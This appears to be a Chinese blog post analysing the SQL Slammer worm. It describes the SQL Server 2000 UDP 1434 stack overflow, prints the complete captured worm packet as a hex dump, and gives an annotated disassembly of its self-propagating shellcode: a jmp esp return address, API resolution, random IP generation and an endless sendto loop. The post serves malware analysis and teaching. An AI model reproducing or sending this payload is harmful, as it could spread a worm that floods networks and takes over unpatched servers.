SQL slammer蠕虫王汇编代码详解

简介

网络安全其实并不是我做的比较多的方向,所以对于病毒的研究也只是皮毛。不过这里公开一下对于SQLslammer的代码分析,其中借鉴了不少,并且自己也对汇编代码进行了更加清晰的解释,我相信即使你不熟悉汇编看了我的标注也可以明白程序逻辑。

甚至说不定你对汇编还变得更加熟练了。哈哈~~

SQL slammer

Microsoft SQL Server 2000支持在单个物理主机上提供多个SQL服务器的实例,在对每个实例操作时,都可以将其看作是一个单独的服务器。不过多个实例不能全部使用标准SQL服务会话会话端口(TCP 1433),所以SQL Server Resolution服务操作监听在UDP 1434端口,提供一种使客户端查询适当的网络终端用于特殊的SQL服务实例的途径。

当SQL Server Resolution服务在UDP1434端口接收到第一个字节设置为0x04的UDP包时,SQL监视线程会获取UDP包中的数据并使用此用户提供的信息来尝试打开注册表中的某一键值。如发送\x04\x41\x41\x41\x41类似的UDP包,SQL服务程序就会打开如下注册表键:HKLM\Software\Microsoft\Microsoft SQL Server\AAAA\MSSQLServer\CurrentVersion。

攻击者可以通过在这个UDP包后追加大量字符串数据,当尝试打开这个字符串相对应的键值时,会发生基于栈的缓冲区溢出。通过包含“jmp esp”或者“call esp”指令的地址覆盖栈中保存的返回地址,可导致以SQL Server进程的权限在系统中执行任意指令。蠕虫溢出成功取得系统控制权后,就开始向随机IP地址发送自身,由于这是一个死循环的过程,发包密度仅和机器性能和网络带宽有关,所以发送的数据量非常大。

在实际的测试中发现,如果在同一网段中有一台机器中了SQL蠕虫王,该网段中的每一台机器每秒钟都可以收到近千个UDP数据包。该蠕虫对被感染机器本身并没有进行任何恶意破坏,它仅存在内存之中,不会向硬盘上写文件。因此对于感染的系统,重新启动后就可以清除该蠕虫,但是如果不及时打上补丁,仍然会重复感染。由于发送数据包占用了大量系统资源和网络带宽,形成UDP Flood,因此感染了该蠕虫的网络性能会极剧下降。一个百兆网络内只要有一两台机器感染该蠕虫就会导致整个网络访问阻塞。

分析

首先我们看一下slammer的数据:
00000028h: 01 00 5E 31 7F D5 00 05 5D 61 48 6B 08 00 45 00 ; …^1?.]aHk…E.
00000038h: 01 94 8F 3A 00 00 01 11 91 14 CA 72 6A 11 E3 B1 ; .攺:…?蕆j.惚
00000048h: 7F D5 0D F9 05 9A 01 80 8F 47 04 01 01 01 01 01 ; ???€廏…
00000058h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000068h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000078h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000088h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
00000098h: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ; …
000000a8h: 01 01 01 01 01 01 01 01 01 01 01 DC C9 B0 42 EB ; …苌癇?
000000b8h: 0E 01 01 01 01 01 01 01 70 AE 42 01 70 AE 42 90 ; …p瓸.p瓸?
000000c8h: 90 90 90 90 90 90 90 68 DC C9 B0 42 B8 01 01 01 ; 悙悙悙恏苌癇?..
000000d8h: 01 31 C9 B1 18 50 E2 FD 35 01 01 01 05 50 89 E5 ; .1杀.P恺5…P夊
000000e8h: 51 68 2E 64 6C 6C 68 65 6C 33 32 68 6B 65 72 6E ; Qh.dllhel32hkern
000000f8h: 51 68 6F 75 6E 74 68 69 63 6B 43 68 47 65 74 54 ; QhounthickChGetT
00000108h: 66 B9 6C 6C 51 68 33 32 2E 64 68 77 73 32 5F 66 ; f筶lQh32.dhws2_f
00000118h: B9 65 74 51 68 73 6F 63 6B 66 B9 74 6F 51 68 73 ; 筫tQhsockf箃oQhs
00000128h: 65 6E 64 BE 18 10 AE 42 8D 45 D4 50 FF 16 50 8D ; end?.瓸岴訮.P?
00000138h: 45 E0 50 8D 45 F0 50 FF 16 50 BE 10 10 AE 42 8B ; E郟岴餚.P?.瓸?
00000148h: 1E 8B 03 3D 55 8B EC 51 74 05 BE 1C 10 AE 42 FF ; .?=U嬱Qt.?.瓸
00000158h: 16 FF D0 31 C9 51 51 50 81 F1 03 01 04 9B 81 F1 ; .?蒕QP侎…泚?
00000168h: 01 01 01 01 51 8D 45 CC 50 8B 45 C0 50 FF 16 6A ; …Q岴蘌婨繮.j
00000178h: 11 6A 02 6A 02 FF D0 50 8D 45 C4 50 8B 45 C0 50 ; .j.j.蠵岴腜婨繮
00000188h: FF 16 89 C6 09 DB 81 F3 3C 61 D9 FF 8B 45 B4 8D ; .壠.蹃?a?婨磵
00000198h: 0C 40 8D 14 88 C1 E2 04 01 C2 C1 E2 08 29 C2 8D ; .@?埩?.铝?)聧
000001a8h: 04 90 01 D8 89 45 B4 6A 10 8D 45 B0 50 31 C9 51 ; .?貕E磈.岴癙1蒕
000001b8h: 66 81 F1 78 01 51 8D 45 03 50 8B 45 AC 50 FF D6 ; f侎x.Q岴.P婨琍?
000001c8h: EB CA

这是通过抓包得到数据,是一个完整的UDP数据包。

前十四个字节是数据帧的帧头。第二个加粗的的八个字节是UDP报头。而中间的20个字节是IP头部。从04之后的376字节是slammer的功能部分。

汇编

该蠕虫由被攻击机器中的sqlsort.dll存在的缓冲区溢出漏洞进行攻击,获得控制权。随后分别从kernel32.dll以及ws2_32.dll中获得GetTickCount函数和socket以及sendto函数地址。紧接着调用 GetTickCount函数,利用其返回值产生一个随机数种子,并用此种子产生一个IP地址作为攻击对象;随后创建一个UDP socket,将自身代码发送到目标IP的1434端口,随后进入一个无限循环中,重复上述产生随机IP地址、发送攻击包等一系列动作。

上面代码的前一部分,它构造了一个缓冲区溢出的数据包。其中DC C9 B0 42部分是被替换的返回地址, 而该地址0x42B0C9DC是指向sqlsort.dll中的一条指令jmp esp,因此当处理数据包的函数RET指令返回时,ESP正好指向EB 0E(JMP $+0x0E),其执行时会马上跳到90处开始执行,一串空指令后,便开始病毒正式代码的执行。

00401000 EB0E                	jmp     loc_00401010
00401002 0101                	add     [ecx],eax
00401004 0101                	add     [ecx],eax
00401006 0101                 	add     [ecx],eax
00401008 0170AE              	add     [eax-52h],esi
0040100B 42                  	inc     edx
0040100C 0170AE             	add     [eax-52h],esi
0040100F 42                  	inc     edx

以上主要是初始化部分,并没有实际的功能。

00401010                    loc_00401010:
00401010 90                  	nop
00401011 90                  	nop
00401012 90                  	nop
00401013 90                  	nop
00401014 90                     	nop
00401015 90                  	nop
00401016 90                   	nop
00401017 90                   	nop

以下是主要的功能模块。
开始重新写回包中损坏的数据,这里注意是小段存储,另外可以和上部分的数据进行对照。

压栈
00401018 68DCC9B042          	push    42B0C9DCh ;

将1010101赋给eax寄存器,这里大家对照数据来看,是为了进行重新填充数据。
0040101D B801010101           	mov    eax,1010101h

xor 异或清零ecx
00401022 31C9                	xor     ecx,ecx

这里cl寄存器是关键,他是一个16位寄存器,和loop指令组合使用,可以简单理解为cl中表示的是loop循环的次数。
00401024 B118                	mov    cl,18h		;往堆栈中压入60H个01
00401026                    loc_00401026:
00401026 50                   	push    eax
00401027 E2FD                 	loop    loc_00401026
这里进行loop 执行18H次的push eax, 大家对照上一部分的数据就可以知道为什么这么写了。

00401029 3501010105           	xor     eax,5010101h	;
此时eax = 1010101  然后执行异或就得到了,此时eax=04000000

0040102E 50                   	push    eax
0040102F 89E5                 	mov    ebp,esp;
此时ebp+3指向字节04
此时整个包已经重新构造完毕,和高地址字节形成蠕虫将要发送的包的内容

这里需要注意一下,由于执行了mov ebp,esp,所以此时相当于ebp被重置了。后面的压栈操作就重新冲ebp开始计数了。
这里重要是因为决定我们后面如何根据基址来调用堆栈中的数据。
00401031 51                   	push    ecx
00401032 682E646C6C           	push    6C6C642Eh 
00401037 68656C3332            	push    32336C65h
0040103C 686B65726E           	push    6E72656Bh 	;kernel32.dll字串进栈
这里我们记下kernel32.dll的地址, ebp+10h

00401041 51                   	push    ecx
00401042 686F756E74           	push    746E756Fh
00401047 6869636B43            	push    436B6369h
0040104C 6847657454           	push    54746547h 	;GetTickCount函数名字串入栈
同理得到GTC函数的地址:ebp+20H

00401051 66B96C6C            	mov    cx,6C6Ch
00401055 51                   	push    ecx
00401056 6833322E64           	push    642E3233h
0040105B 687773325F          	push    5F327377h 	;ws2_32.dll字串入栈

00401060 66B96574             	mov    cx,7465h
00401064 51                   	push    ecx
00401065 68736F636B           	push    6B636F73h 	;socket函数名字符串进栈

0040106A 66B9746F             	mov    cx,6F74h
0040106E 51                    	push    ecx
0040106F 6873656E64           	push    646E6573h 	;sendto函数名字符串入栈

00401074 BE1810AE42          	mov   esi,42AE1018h 
;从IAT中直接获得Loadlibrary的函数地址
00401079 8D45D4               	lea    eax,[ebp-2Ch] 	;即字串ws2_32.dll的开始位置
0040107C 50                  	push   eax 
;上面的dll串首址进栈,Loadlibrary函数的参数

0040107D FF16                	call    dword ptr [esi] ;调用Loadlibrary函数
0040107F 50                   	push   eax;将ws2_32.dll的模块地址压入堆栈
00401080 8D45E0              	lea    eax,[ebp-20h] 	
;得到GetTickCount函数名字符串首地址

00401083 50                  	push   eax 			
;首地址入堆栈,作为后面GetProcAddress的参数

00401084 8D45F0              	lea    eax,[ebp-10h] 	;获得kernel32.dll字串首地址
00401087 50                    	push   eax			;kernel32.dll字串首地址入栈
00401088 FF16                 	call    dword ptr [esi] 	;调用Loadlibrary函数
0040108A 50                  	push   eax 

;kernel32.dll模块地址入栈,作为后面GetProcAddress的参数
0040108B BE1010AE42        	mov    esi,42AE1010h	;从IAT中获得GetProcAddress函数地址
00401090 8B1E                 	mov    ebx,[esi]
00401092 8B03                	mov    eax,[ebx]
00401094 3D558BEC51        		cmp    eax,51EC8B55h
;判断是否取用了GetProcAddress真正地址
00401099 7405                	jz      loc_004010A0
0040109B BE1C10AE42          	mov   esi,42AE101Ch 
;从IAT中获得GetProcAddress真正地址的存放地址

004010A0                    loc_004010A0:
004010A0 FF16                 	call   dword ptr [esi] 	
;调用GetProcAddress,获得GetTickCount函数地址
004010A2 FFD0                	call   eax			;调用GetTickCount函数
004010A4 31C9                	xor   ecx,ecx
004010A6 51                  	push  ecx
004010A7 51                  	push  ecx
004010A8 50                   	push  eax	;eax为通过GetTickCount获得的随机数
004010A9 81F10301049B        	xor   ecx,9B040103h
004010AF 81F101010101         	xor   ecx,1010101h
004010B5 51                  	push ecx
;exc:9A050002 =〉port 1434(59AH) / AF_INET(02)
004010B6 8D45CC             	lea   eax,[ebp-34h] ;获得socket函数名字串首地址
004010B9 50                 		push  eax			;参数入栈
004010BA 8B45C0               	mov  eax,[ebp-40h] 	;ws2_32.dll的模块基地址
004010BD 50                   	push  eax			;参数入栈
004010BE FF16               	call   dword ptr [esi] ;调用GetProcAddress函数
004010C0 6A11                	push  11h		   ;参数protocol,此时无意义
004010C2 6A02                 	push  2			
;参数type,SOCK_DGRAM,数据报套接字,使用UDP协议
004010C4 6A02                	push  2			;AF_INET,套接字的地址格式
004010C6 FFD0                	call   eax 			;调用socket函数
004010C8 50                  	push  eax 			;返回的套接字句柄进栈
004010C9 8D45C4              	lea   eax,[ebp-3Ch] 	;sendto函数名字串首址
004010CC 50                  	push  eax 
004010CD 8B45C0             	mov  eax,[ebp-40h] 	;ws2_32.dll的模块基地址
004010D0 50                  	push  eax
004010D1 FF16                	call   dword ptr [esi] 	;调用GetProcAddress函数
004010D3 89C6                 	mov  esi,eax			;得到sendto函数地址
004010D5 09DB                	or    ebx,ebx
004010D7 81F33C61D9FF        	xor   ebx,0FFD9613Ch
004010DD                    loc_004010DD:
004010DD 8B45B4              	mov  eax,[ebp-4Ch] 
;上面GetTickCount函数得到的随机数放到eax中,作为IP变换的随机数种子
004010E0 8D0C40              	lea   ecx,[eax+eax*2];这里开始进行运算,得到随机IP
004010E3 8D1488               	lea   edx,[eax+ecx*4]
004010E6 C1E204               	shl   edx,4
004010E9 01C2                  	add  edx,eax
004010EB C1E208               	shl   edx,8
004010EE 29C2                 	sub   edx,eax
004010F0 8D0490               	lea   eax,[eax+edx*4]
004010F3 01D8                 	add  eax,ebx
004010F5 8945B4              	mov  [ebp-4Ch],eax;保存得到的随机IP,作为下一个IP生成函数的输入
004010F8 6A10                 	push  10h 		;目标Socket结构长度16个字节
004010FA 8D45B0              	lea   eax,[ebp-50h] 
004010FD 50                   	push  eax		;目标Socket结构首地址
004010FE 31C9                 	xor   ecx,ecx
00401100 51                  	push  ecx 		;flags
00401101 6681F17801           	xor   cx,178h 	;要发送的数据长度:376字节
00401106 51                   	push  ecx
00401107 8D4503                	lea   eax,[ebp+3]
0040110A 50                    	push  eax 		;要发送数据的缓冲区首址
0040110B 8B45AC              	mov  eax,[ebp-54h]
0040110E 50                   	push  eax 		;套接字句炳
0040110F FFD6                 	call   esi 		;调用sendto函数往目标IP发送数据
00401111 EBCA                	jmp   loc_004010DD

欢迎指正,大家共勉~~

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值